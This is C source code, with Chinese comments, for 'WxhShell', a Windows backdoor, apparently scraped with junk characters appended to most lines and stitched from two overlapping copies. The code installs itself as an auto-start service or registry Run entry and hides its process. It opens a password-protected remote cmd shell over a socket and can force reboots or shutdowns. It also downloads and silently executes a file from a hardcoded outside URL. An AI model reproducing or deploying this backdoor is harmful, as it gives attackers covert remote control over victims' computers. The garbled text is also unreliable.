    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EgY]U1{  
    if(Boot(SHUTDOWN)) PQfx0n,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v uJ~Lg{  
    else { :70oO}0m.  
    closesocket(wsh); PH]q#/'  
    ExitThread(0); H`y- "L8q  
    } `mMD e  
    break; /`1zkBj<&  
    } GL/\uq  
  // 获取shell y|@^0]}%<  
  case 's': { ?XHJCp;f  
    CmdShell(wsh); ?LZ)r^ger  
    closesocket(wsh); $Ec;w~e  
    ExitThread(0); !XFN/-Q ,  
    break; 9Dpmp|  
  } I[&!\Me[+w  
  // 退出 t*DM^. @  
  case 'x': { HsO=%bb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m:h]nm  
    CloseIt(wsh); ^Dh2_vbI  
    break; mb&b=&  
    } 8^^al!0K~  
  // 离开 4yknX% [  
  case 'q': { 7 724,+2N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |BXq8Erh  
    closesocket(wsh); Ad"::&&Wk  
    WSACleanup(); $)'{+1  
    exit(1); vOqYt42  
    break; ^iGIF~J9  
        } (s9?#t6  
  } 46 77uy  
  } S`J_}>  
5B51^"  
  // 提示信息 >V]> h&`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kh`X92~  
} Kkd7D_bZ*  
  } ALKhZFuz  
(Q @m;i>  
  return; im&| H-  
} M0^r!f>O  
>LW9$[H  
// shell模块句柄 ~[[a7$_4  
int CmdShell(SOCKET sock) 6 Fm.^9@  
{ Jus)cO#I  
STARTUPINFO si; 9/nL3U@i1  
ZeroMemory(&si,sizeof(si)); P[Qr[74 )  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t$}+oCnkv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m, *f6g  
PROCESS_INFORMATION ProcessInfo; g]3-:&F{c  
char cmdline[]="cmd"; :cOwTW?Fj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~zuMX ;[  
  return 0; &Zf@vD  
} o2jnmv~  
QZDGk4GG  
// 自身启动模式 QJv,@@mu  
int StartFromService(void) B aXzz  
{ ^c=@2#^\  
typedef struct \TKv3N  
{ !D  
  DWORD ExitStatus; 'dx4L }d  
  DWORD PebBaseAddress; nrZv>r  
  DWORD AffinityMask; ok7DI  
  DWORD BasePriority; wngxVhu8Ld  
  ULONG UniqueProcessId; !1!uB }  
  ULONG InheritedFromUniqueProcessId; BkIvoW_  
}   PROCESS_BASIC_INFORMATION; "U yw7  
)Dv"seH.  
PROCNTQSIP NtQueryInformationProcess; 6/GhQ/T%D  
x{+rx.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1pc|]9B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |o+vpy  
mhcJ0\@_  
  HANDLE             hProcess; <1hwXo  
  PROCESS_BASIC_INFORMATION pbi; KKOu":b  
ZI5UQH/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U_14CLs dG  
  if(NULL == hInst ) return 0; 4=1lyw  
u52@{@Ad  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6H3_q x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z9VQsC'K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @m(\f  
yLI=&7/e@  
  if (!NtQueryInformationProcess) return 0; d{YhKf#~  
eNXpRvY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5xRh'Jkyb  
  if(!hProcess) return 0; 9%)'QDVGLf  
;T/' CD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mNV4"lNR  
TsR20P@  
  CloseHandle(hProcess); y{kXd1,  
(2%C% #]8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zO!`sPP  
if(hProcess==NULL) return 0; A]R"C:o  
|=7%Edkd  
HMODULE hMod; #'"h+[XY  
char procName[255]; 4h(aTbHaQ  
unsigned long cbNeeded; >q]r)~8F^  
?lbX.+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }}ogdq  
*aTM3k)Zs  
  CloseHandle(hProcess); >+8mq]8^  
Q>X ;7nt0  
if(strstr(procName,"services")) return 1; // 以服务启动 dkCSqNFL)  
8_KXli}7=  
  return 0; // 注册表启动 Va9vDb6  
} E{j6OX\  
:S,#*rPKBK  
// 主模块 1-q\C<Q)  
int StartWxhshell(LPSTR lpCmdLine) Q9rE_} Z  
{ @UvjJ  
  SOCKET wsl; =lVfrna  
BOOL val=TRUE; b cOX/  
  int port=0; X5)>yM^N`  
  struct sockaddr_in door; OY?uqP}c  
b5yb~;0  
  if(wscfg.ws_autoins) Install(); );=JoRQ{  
L!{^^7  
port=atoi(lpCmdLine); S>**hM U%  
654PW9{(  
if(port<=0) port=wscfg.ws_port; K_ RrSI&>  
% 3FI>\3  
  WSADATA data; !3Pl]S~6!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /wIZ '  
2b!b-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %zY3,4~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D:){T>  
  door.sin_family = AF_INET; x!G\-2#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #+r-$N.7  
  door.sin_port = htons(port); GhQ.}@*  
1tg   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NbgP,-  
closesocket(wsl); i3f/{D/  
return 1; 6g$+))g  
} ,m0=zH4+:  
 {!x-kF_  
  if(listen(wsl,2) == INVALID_SOCKET) { 64zO%F*  
closesocket(wsl); D4`7,JC}<  
return 1;  vlE#z  
} .k[Ptx>  
  Wxhshell(wsl); ^QXUiXzl  
  WSACleanup(); |Z!C`G[  
?5Lom#^  
return 0; E4 JS   
f *)t<1f  
} Ndx='j0  
t-/%|@?D  
// 以NT服务方式启动 RCoz;|c`P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F[~qgS*;  
{ =L&_6lb  
DWORD   status = 0; [;};qQ-C2  
  DWORD   specificError = 0xfffffff; S,J'Z:spf  
u*H2kn[DU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `t#C0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3{,Mpb@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sp AYb<  
  serviceStatus.dwWin32ExitCode     = 0; c*LnLK/m  
  serviceStatus.dwServiceSpecificExitCode = 0; [?;oiEe.|  
  serviceStatus.dwCheckPoint       = 0; R(x% <I  
  serviceStatus.dwWaitHint       = 0; rs\*$20  
3DgI.V6un  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N[=nh)m7b  
  if (hServiceStatusHandle==0) return; 6I 2`m(5  
k%uRG_  
status = GetLastError(); g,x$z~zU{  
  if (status!=NO_ERROR) w6Ue5Ix,!  
{ g[!sGa &  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o'R_kadN[T  
    serviceStatus.dwCheckPoint       = 0; K@ W~  
    serviceStatus.dwWaitHint       = 0; IgSe%B  
    serviceStatus.dwWin32ExitCode     = status; .8g&V|  
    serviceStatus.dwServiceSpecificExitCode = specificError; mVk:[ }l6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JCE364$$"  
    return; ,{YC|uB  
  } P`RM"'Om  
GAPZt4Z2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A.y"R)G  
  serviceStatus.dwCheckPoint       = 0; 7!Fu.Ps >  
  serviceStatus.dwWaitHint       = 0; R-Uj\M>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v]vrD2L  
} .\< \J|3  
`/Z8mFs Y  
// 处理NT服务事件,比如:启动、停止 ~d>O.*Q)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A:k`Ykr[  
{ 5E~][. d  
switch(fdwControl) <w08p*?  
{ At.WBa3j%{  
case SERVICE_CONTROL_STOP: CYG'WFvZZ  
  serviceStatus.dwWin32ExitCode = 0; I%p Q2T$;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @bS>XWI>  
  serviceStatus.dwCheckPoint   = 0; ~H?RHYP~  
  serviceStatus.dwWaitHint     = 0; =OhhMAn  
  { Bg;bBA!L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b>;5#OQfn  
  } l--xq^,`o]  
  return; SyTcp?H  
case SERVICE_CONTROL_PAUSE: .viA+V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $eI[3{}X  
  break; FVL0K(V(  
case SERVICE_CONTROL_CONTINUE: |0mh*+i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {}vW=  
  break; iZ)7%R?5  
case SERVICE_CONTROL_INTERROGATE: wG19NX(  
  break; 4W$53LP8  
}; rHN>fySn7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %`%1W MO  
} 7dN]OUdi  
RrGS$<  
// 标准应用程序主函数 _MnMT9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kU4Zij-O  
{ Cl i k  
'[:].?M  
// 获取操作系统版本 &V iIxJZ1$  
OsIsNt=GetOsVer(); V?%>Ex$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "RZ)pav?  
0jE,=<W0>  
  // 从命令行安装 pcm|  
  if(strpbrk(lpCmdLine,"iI")) Install(); =yfr{5}R  
7zpwP  
  // 下载执行文件 21G] d  
if(wscfg.ws_downexe) { ,O $F`0>9A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4jO~kcad  
  WinExec(wscfg.ws_filenam,SW_HIDE); dYk)RX`}7!  
} sK}Ru?a)  
%%kl R{  
if(!OsIsNt) { 2>?GD@GE  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vs\ )w>JF  
HideProc(); AaKILIIQZ  
StartWxhshell(lpCmdLine); 1rTA0+h  
} />)>~_-3  
else  LBw,tP  
  if(StartFromService()) O:pQf/Xn  
  // 以服务方式启动 nvgo6*  
  StartServiceCtrlDispatcher(DispatchTable); Sr%~ 5Q[W  
else Ow+7o@$"/  
  // 普通方式启动 ]X@/0  
  StartWxhshell(lpCmdLine); wf<uG|90  
{I`B?6K5  
return 0; j@2-^q:`  
} ukvz#hdE  
j^986  
g)xzy^2e  
I3s'44  
=========================================== i1C]bUXA  
024*IoVZ  
hq(3%- 7&  
HwM:bY N  
-&@[]/  
5N`g  
" oKzV!~{0M;  
|oPqX %?  
#include <stdio.h> f}nGWV%,  
#include <string.h> ;MNEe% TJ  
#include <windows.h> 3J%jD  
#include <winsock2.h> AY,6Ddw  
#include <winsvc.h> &!KJrQ  
#include <urlmon.h> CDoZv""  
JnV$)EYi  
#pragma comment (lib, "Ws2_32.lib") G@ed2T  
#pragma comment (lib, "urlmon.lib") !Z<Z"R/  
=]U[   
#define MAX_USER   100 // 最大客户端连接数 u\s mQhQGE  
#define BUF_SOCK   200 // sock buffer %Xkynso~  
#define KEY_BUFF   255 // 输入 buffer o NJ/AT  
>L[,.}(9  
#define REBOOT     0   // 重启 B>YrDJUN  
#define SHUTDOWN   1   // 关机  2Np9*[C  
DCP "  
#define DEF_PORT   5000 // 监听端口 )u3<lpoTy  
2Xe2 %{  
#define REG_LEN     16   // 注册表键长度 LvhF@%(9J  
#define SVC_LEN     80   // NT服务名长度 wz>j>e6k`  
P8z+ +h  
// 从dll定义API D-~HJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |VaXOdD`&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }5zH3MPQH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /DZKz"N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \AkeC6[D  
pZ OVD%  
// wxhshell配置信息 V u;tU.  
struct WSCFG { $].< /  
  int ws_port;         // 监听端口 `'+[Y;s_  
  char ws_passstr[REG_LEN]; // 口令 oA_AnD?G+  
  int ws_autoins;       // 安装标记, 1=yes 0=no vJmE}  
  char ws_regname[REG_LEN]; // 注册表键名 mbJ#-^}V  
  char ws_svcname[REG_LEN]; // 服务名 DV{Qbe#In  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AP/tBC eM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J cvK]x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l$)pCo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +#'exgGU^[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l.>QO ;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PNg,bcl  
.CwMxuW  
}; EQu M|4$ix  
wU?2aXY  
// default Wxhshell configuration rs 7R5 F  
struct WSCFG wscfg={DEF_PORT, 0^:O:X  
    "xuhuanlingzhe", rf^1%Zo:  
    1, mw?,oiT,)  
    "Wxhshell", qo$<&'r  
    "Wxhshell", 4`!(M]u=  
            "WxhShell Service", 1w1(FpQO.  
    "Wrsky Windows CmdShell Service", 6ZCt xs!  
    "Please Input Your Password: ", nJA\P1@m  
  1, olQ;XTa01F  
  "http://www.wrsky.com/wxhshell.exe", txTDuS  
  "Wxhshell.exe" Eh8.S)E  
    }; 80axsU^H0  
eUx|_*`  
// 消息定义模块 0'VwObq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =;^2#UxXA&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >(~; V;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '.d el7s  
char *msg_ws_ext="\n\rExit."; =,,!a/U  
char *msg_ws_end="\n\rQuit."; H.!M_aJH  
char *msg_ws_boot="\n\rReboot..."; ~H)bvN^  
char *msg_ws_poff="\n\rShutdown..."; LI"ghz=F  
char *msg_ws_down="\n\rSave to "; :|N5fkhN  
gbQrSJs!Zh  
char *msg_ws_err="\n\rErr!"; b~%(5r.  
char *msg_ws_ok="\n\rOK!"; o!\Vk~Vi&  
X;ijCZb3b  
char ExeFile[MAX_PATH]; M(I 2M  
int nUser = 0; 0alm/or  
HANDLE handles[MAX_USER]; hPD2/M  
int OsIsNt; /m.6NVu7  
DoNbCVZ  
SERVICE_STATUS       serviceStatus; ~Ci|G3BW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |BF4 F5wC?  
A;q}SO%b  
// 函数声明 T+N%KRl  
int Install(void); qZCA16  
int Uninstall(void); V= !!;KR0  
int DownloadFile(char *sURL, SOCKET wsh); $(.[b][S  
int Boot(int flag); Lc0^I<Y  
void HideProc(void); r Fdq \BSi  
int GetOsVer(void); MXSPD# gN  
int Wxhshell(SOCKET wsl); 7L? ~;;L$  
void TalkWithClient(void *cs); YYZE-{ %  
int CmdShell(SOCKET sock); vX/~34o]\  
int StartFromService(void); W32bBzhL  
int StartWxhshell(LPSTR lpCmdLine); qZG "{8  
u ;f~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P*)}ENY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #3\F<AJ<VB  
.E"hsGH9h  
// 数据结构和表定义 Ql3hq.E  
SERVICE_TABLE_ENTRY DispatchTable[] = FF)F%o+:w  
{ &0*j nb  
{wscfg.ws_svcname, NTServiceMain}, ?b:l.0m  
{NULL, NULL} )&;?|X+p  
}; qOqQt=ObU  
=K- B I  
// 自我安装 iRBUX`0  
int Install(void) ZlUd^6|:3  
{ Z Z\,iT  
  char svExeFile[MAX_PATH]; |!aMj8i2  
  HKEY key; q1.w8$  
  strcpy(svExeFile,ExeFile); TmvI+AY/  
.FtW $Y~y  
// 如果是win9x系统,修改注册表设为自启动 ggzg, ~V  
if(!OsIsNt) { GxuFO5wz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -;Y*;xe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r**u=q %p  
  RegCloseKey(key); ,mx>)} l95  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [x kbzJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +DY% Y `0  
  RegCloseKey(key); N~=p+Ow[H  
  return 0; soRt<83  
    } c0sU1:e0  
  } qfd/t<?|D  
} hl(M0cxEWP  
else { 4. 7m*  
+ng8!k  
// 如果是NT以上系统,安装为系统服务 WV]Si2pOZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G&I\Za;   
if (schSCManager!=0) /bjyV]N  
{ -R?~Yysd7K  
  SC_HANDLE schService = CreateService WZOi,  
  ( .z^ePZ|mV  
  schSCManager, @T0F }(k  
  wscfg.ws_svcname, U3}r.9/  
  wscfg.ws_svcdisp, O(2)A>}  
  SERVICE_ALL_ACCESS, C!6?.\U/:c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s5F,*<  
  SERVICE_AUTO_START, 66NJ&ac  
  SERVICE_ERROR_NORMAL, <7NY.zvwk]  
  svExeFile, l}:&}  
  NULL, 5(W`{{AW  
  NULL, %SaC[9=?  
  NULL, W3Oj6R  
  NULL, ~Gx"gK0  
  NULL gXBC= ?jl  
  ); 2Z;wU]  
  if (schService!=0) &ejJf{id  
  { 2I(b ad  
  CloseServiceHandle(schService); #EQwl6  
  CloseServiceHandle(schSCManager); Z7a~M3VnZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3WZdP[o!  
  strcat(svExeFile,wscfg.ws_svcname); E%@,n9T~"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M S$^m2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6c>cq\~E  
  RegCloseKey(key); 1Tz5tU9kR  
  return 0; "Qj;pqR  
    } s tvI  
  } sH(@X<{p  
  CloseServiceHandle(schSCManager); 0%$E^`  
} =aR'S\<  
} US3rkkgDO  
' P5t tI#|  
return 1; :$4 atm  
} E:'TZ4Z  
nQbF~   
// 自我卸载 *S,5  
int Uninstall(void) v0W w~4|],  
{ *-0tj~)>  
  HKEY key; D_mdX9-~  
`L n,qiA  
if(!OsIsNt) { l-4+{6lz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jse;@K5y  
  RegDeleteValue(key,wscfg.ws_regname); G>"=Af(t?Y  
  RegCloseKey(key); ^~\cx75D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9+><:(,  
  RegDeleteValue(key,wscfg.ws_regname); _nW{Q-nh  
  RegCloseKey(key); R{={7.As+  
  return 0; O_-Lm4g?4  
  } 2 |]pD  
} R <Mvwu  
} ^U1@ hq*u  
else { !Q(xA,p  
Nmu;+{19M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7tbM~+<0  
if (schSCManager!=0) )> >Tj7  
{ ?VUW.-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b/^i  
  if (schService!=0) W%$sA}O  
  { YK Cd:^u  
  if(DeleteService(schService)!=0) { J4Yu|E<&  
  CloseServiceHandle(schService); 8['8ctX  
  CloseServiceHandle(schSCManager); 9*`(*>S  
  return 0; )P>-~G2P  
  } BF >67 8h  
  CloseServiceHandle(schService); z''ITX)oG  
  } rt +a/:4+  
  CloseServiceHandle(schSCManager); 9UbD =}W  
} VR:4|_o  
} .r=F'i}-j*  
`Ckx~'1M:  
return 1; OH+kN /Fd  
} i"4&UJu1;  
s1"dd7&g'  
// 从指定url下载文件 k+nfW]UNF  
int DownloadFile(char *sURL, SOCKET wsh) :U>[*zE4&  
{ 5}v<?<l9\  
  HRESULT hr; Jw -?7O  
char seps[]= "/"; ',>Pz+XKc  
char *token; TAd~#jB9  
char *file; @cc4]>4  
char myURL[MAX_PATH]; l:'\3-2a  
char myFILE[MAX_PATH]; !t.*xT4W  
<r`^iR)%  
strcpy(myURL,sURL); V:Z}cfR.7  
  token=strtok(myURL,seps); ; fOkR+  
  while(token!=NULL) >5%;NI5 G  
  { }={TVs^  
    file=token; _zuX6DO  
  token=strtok(NULL,seps); ;kE|Vx  
  } 8(jUCD  
Tl/!Dn  
GetCurrentDirectory(MAX_PATH,myFILE); 4Y.o RB  
strcat(myFILE, "\\"); vGIe"$hNh  
strcat(myFILE, file); wr`+xYuuC=  
  send(wsh,myFILE,strlen(myFILE),0); .5s#JL  
send(wsh,"...",3,0); q$ZmR]p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iYPlgt/Y!  
  if(hr==S_OK) He1hgJ)N  
return 0; Lo{g0~?x*  
else LtK= nK  
return 1; Kn#CIFbBN  
OZ SM2~  
} To!` T$Xh  
$yoIz.?V  
// 系统电源模块 f6$$e+  
int Boot(int flag) :4\=xGiY  
{ Sy0-tK4  
  HANDLE hToken; !yQ%^g`  
  TOKEN_PRIVILEGES tkp; .@`5>_  
z&Kh$ $)[  
  if(OsIsNt) { 6eB2mcV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {^ jRV@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b;2[E/JKB  
    tkp.PrivilegeCount = 1; +U^H`\EUr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n@PXC8}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -TT{4\%s  
if(flag==REBOOT) { {yCE>F\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %p}xW V.  
  return 0; }fqy vI  
} .[Nr2w:>  
else { G)8H9EV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t}X+P`Ovq  
  return 0; VEG p!~D  
} :RG=3T[  
  } 9cJ1J7y  
  else { F`e o3z  
if(flag==REBOOT) { ZP(T=Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =c34MY(#X  
  return 0; IA3m.Vxj ^  
} j FH wu*  
else { @p 2XaqZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !;U;5e=0  
  return 0; OBEHUJ5  
}   B'QcD  
} \<kQ::o1y  
{;^GKb+  
return 1; HU47 S  
} Dwa.ZY}-  
^o-)y"GJ  
// win9x进程隐藏模块 -A(]U"@n  
void HideProc(void) H9Dw#.em  
{ Y$<p_X,  
+ :;6kyM6X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9?Q0O\&uP  
  if ( hKernel != NULL ) |FP@NUX\  
  { go!jx6~;x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D0*+7n3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,: Z7P@  
    FreeLibrary(hKernel); ^tRy6zG  
  } *Q!I^]CR  
S '(K  
return; rGgP9 (  
} T;1aL4w"  
bS&XlgnKi  
// 获取操作系统版本 6|B;C  
int GetOsVer(void) =`/GB T$  
{ G"|c_qX  
  OSVERSIONINFO winfo; L 4Sa,ZL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1{$=N 2U  
  GetVersionEx(&winfo); ~aL&,0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _M)J{ {?:  
  return 1; >)8<d3m  
  else 30<3DA_P  
  return 0; :)j& t>aP  
} HzZ.q2Zz%  
4O>0gK{w  
// 客户端句柄模块 @ev8"JZ1  
int Wxhshell(SOCKET wsl) SS7C|*-Zd  
{ -o B` v'  
  SOCKET wsh; sL4+O P-  
  struct sockaddr_in client; CJf4b:SY@  
  DWORD myID; 4cZlQ3OE.  
V\P .uOI  
  while(nUser<MAX_USER) miEf<<L#z  
{ M2piJ'T4u  
  int nSize=sizeof(client); 1( vcM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]~kgsI[E  
  if(wsh==INVALID_SOCKET) return 1; !HSX:qAP$  
i/aj;t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?V$@2vBVX4  
if(handles[nUser]==0) 4mwLlYZ  
  closesocket(wsh); 3&5AbIZ  
else sZ%wQqy~k  
  nUser++; , %$Cfu  
  } m4 :"c"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :,pdR>q%(y  
7f\/cS^  
  return 0; jFG Y`9Zw0  
} 7~2V5 @{<  
U{PFeR,Uk  
// 关闭 socket A"Sp7M[J  
void CloseIt(SOCKET wsh) Tk:%YS;=  
{ j38>5DM6L  
closesocket(wsh); =:(<lKf,<F  
nUser--; 6;p"xC-  
ExitThread(0); =e|  
} x_OZdI  
tN-B`d 1  
// 客户端请求句柄 &U{"dJr  
void TalkWithClient(void *cs) iuHs.k<z  
{ ;-d2~1$  
uV\~2#o$_  
  SOCKET wsh=(SOCKET)cs; 2/RW(U  
  char pwd[SVC_LEN]; _2rxDd1#.  
  char cmd[KEY_BUFF]; e*hCf5=-  
char chr[1]; O^<\]_l  
int i,j; p ^U#1c  
7&*d]#&~j  
  while (nUser < MAX_USER) { L^{wxOf&6E  
_0!<iN L  
if(wscfg.ws_passstr) { u#`'|ko \9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #b+>O+vx8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^_XV}&7Q  
  //ZeroMemory(pwd,KEY_BUFF); z:p9&mi  
      i=0; @2R+?2 j  
  while(i<SVC_LEN) { A =l1_8,`h  
c%x.cbu>  
  // 设置超时 N3o kN8d  
  fd_set FdRead; :B1a2Y^"  
  struct timeval TimeOut; A\T9>z^k  
  FD_ZERO(&FdRead); X:d[eAu0  
  FD_SET(wsh,&FdRead); @j+X>TD  
  TimeOut.tv_sec=8; @W\ H%VR  
  TimeOut.tv_usec=0; ~=9]M.$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D[bPm:\0M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x(bM   
!)h?2#V8;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O`FuXB(t  
  pwd=chr[0]; ]]lM)  
  if(chr[0]==0xd || chr[0]==0xa) { F>co#  
  pwd=0; ,7*-%05[\  
  break; r!HB""w  
  } rK r2 K'  
  i++; iYl$25k/1  
    } Ll'!aar,  
MD=VR(P?eq  
  // 如果是非法用户,关闭 socket k ks ?S',  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uc-Go 6W  
} $,#,yl ol  
ts~$'^K[-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~AG."<}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +)QA!g$  
E?3$ *t  
while(1) { :h)A/k_  
%QKRl 5RM-  
  ZeroMemory(cmd,KEY_BUFF); o;M-M(EZQ6  
wO3K2I]>0  
      // 自动支持客户端 telnet标准   dI|`"jl#  
  j=0; LTt| "D  
  while(j<KEY_BUFF) { {qkd63 X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ufWd) Q  
  cmd[j]=chr[0]; HRZ3}8Qj  
  if(chr[0]==0xa || chr[0]==0xd) {  gC}D0l[  
  cmd[j]=0; SK_i 3?  
  break; 20p/p~<  
  } 5Pu F]5  
  j++; 'hw_ew   
    } C>*]a(5k  
j2"Y{6c  
  // 下载文件 %l8nTcL_?  
  if(strstr(cmd,"http://")) { 9XPQ1LSx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); POCFT0R}  
  if(DownloadFile(cmd,wsh)) VIjsz42C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+TriPL  
  else Obm@2;^g6  
